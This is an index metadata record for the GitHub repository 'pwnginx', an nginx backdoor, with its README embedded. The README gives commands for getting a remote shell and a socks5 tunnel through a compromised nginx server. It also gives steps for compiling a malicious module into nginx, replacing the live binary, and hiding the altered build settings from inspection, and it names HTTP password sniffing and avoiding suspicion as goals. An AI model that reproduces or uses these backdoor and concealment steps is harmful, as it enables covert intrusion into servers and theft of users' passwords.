{"id":13813130,"url":"https://github.com/t57root/pwnginx","last_synced_at":"2025-05-14T22:31:54.140Z","repository":{"id":8367109,"uuid":"9934064","full_name":"t57root/pwnginx","owner":"t57root","description":"Pwn nginx - a nginx backdoor provides shell access, socks5 tunneling, http password sniffing.","archived":false,"fork":false,"pushed_at":"2019-06-12T17:49:29.000Z","size":184,"stargazers_count":229,"open_issues_count":0,"forks_count":74,"subscribers_count":13,"default_branch":"master","last_synced_at":"2024-11-19T07:40:53.555Z","etag":null,"topics":["backdoor","nginx","pwn-nginx","socks5-tunneling"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/t57root.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2013-05-08T10:34:44.000Z","updated_at":"2024-11-14T17:39:27.000Z","dependencies_parsed_at":"2022-07-14T01:30:41.303Z","dependency_job_id":null,"html_url":"https://github.com/t57root/pwnginx","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t57root%2Fpwnginx","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t57root%2Fpwnginx/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t57root%2Fpwnginx/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t57root%2Fpwnginx/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/t57root","download_url":"https://codeload.github.com/t57root/pwnginx/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254239758,"owners_count":22037763,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["backdoor","nginx","pwn-nginx","socks5-tunneling"],"created_at":"2024-08-04T04:01:04.044Z","updated_at":"2025-05-14T22:31:49.099Z","avatar_url":"https://github.com/t57root.png","language":"C","funding_links":[],"categories":["C","\u003ca id=\"7bf0f5839fb2827fdc1b93ae6ac7f53d\"\u003e\u003c/a\u003e工具"],"sub_categories":["\u003ca id=\"32739127f0c38d61b14448c66a797098\"\u003e\u003c/a\u003e嗅探\u0026\u0026Sniff"],"readme":"#[ Pwnginx ] - Pwn nginx\n\nCopyleft by t57root @ openwill.me\n\n\u0026lt;t57root@gmail.com\u003e  [www.HackShell.net](http://www.hackshell.net/)\n\nUsage:\n\nGet shell access via the nginx running @ [ip]:[port]\n\n    ./pwnginx shell [ip] [port] [password]\n\nGet a socks5 tunnel listening at [socks5ip]:[socks5port]\n\n    ./pwnginx socks5 [ip] [port] [password] [socks5ip] [socks5port]\n\n\n###Features:\n    \n* Remote shell access\n\n* Socks5 tunneling via existing http connection\n\n* Http password sniffing \u0026 logging\n\n###INSTALL:\n\n* Compile the client:\n\n    $ cd client;make\n\n* Edit source to hidden configure arguments:\n\n    $ vim src/core/nginx.c\n    \n    Modify the `configure arguments` line into: `configure arguments: --prefix=/opt/nginx\\n\");` (original configure arguments shown in the result of `nginx -V`)\n\n* Recompile nginx:\n\n    $ cd /path/to/nginx/source; ./configure --prefix=/opt/nginx --add-module=/path/to/pwnginx/module \u0026\u0026 make (There is no need to run `make install`)\n\n    $ sudo cp -f objs/nginx /path/to/nginx/sbin/nginx\n\n* Restart nginx\n\n    $ sudo killall nginx \u0026\u0026 /path/to/nginx/sbin/nginx\n\n\n###TODO:\n\n* Pack communication traffic into HTTP protocol\n\n* Full pty support\n\n* Shell with root privilege(? There must be another stand-alone 'nginx: master process' running under root to support this function. Maybe that's too suspicious. Being considered.)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ft57root%2Fpwnginx","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ft57root%2Fpwnginx","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ft57root%2Fpwnginx/lists"}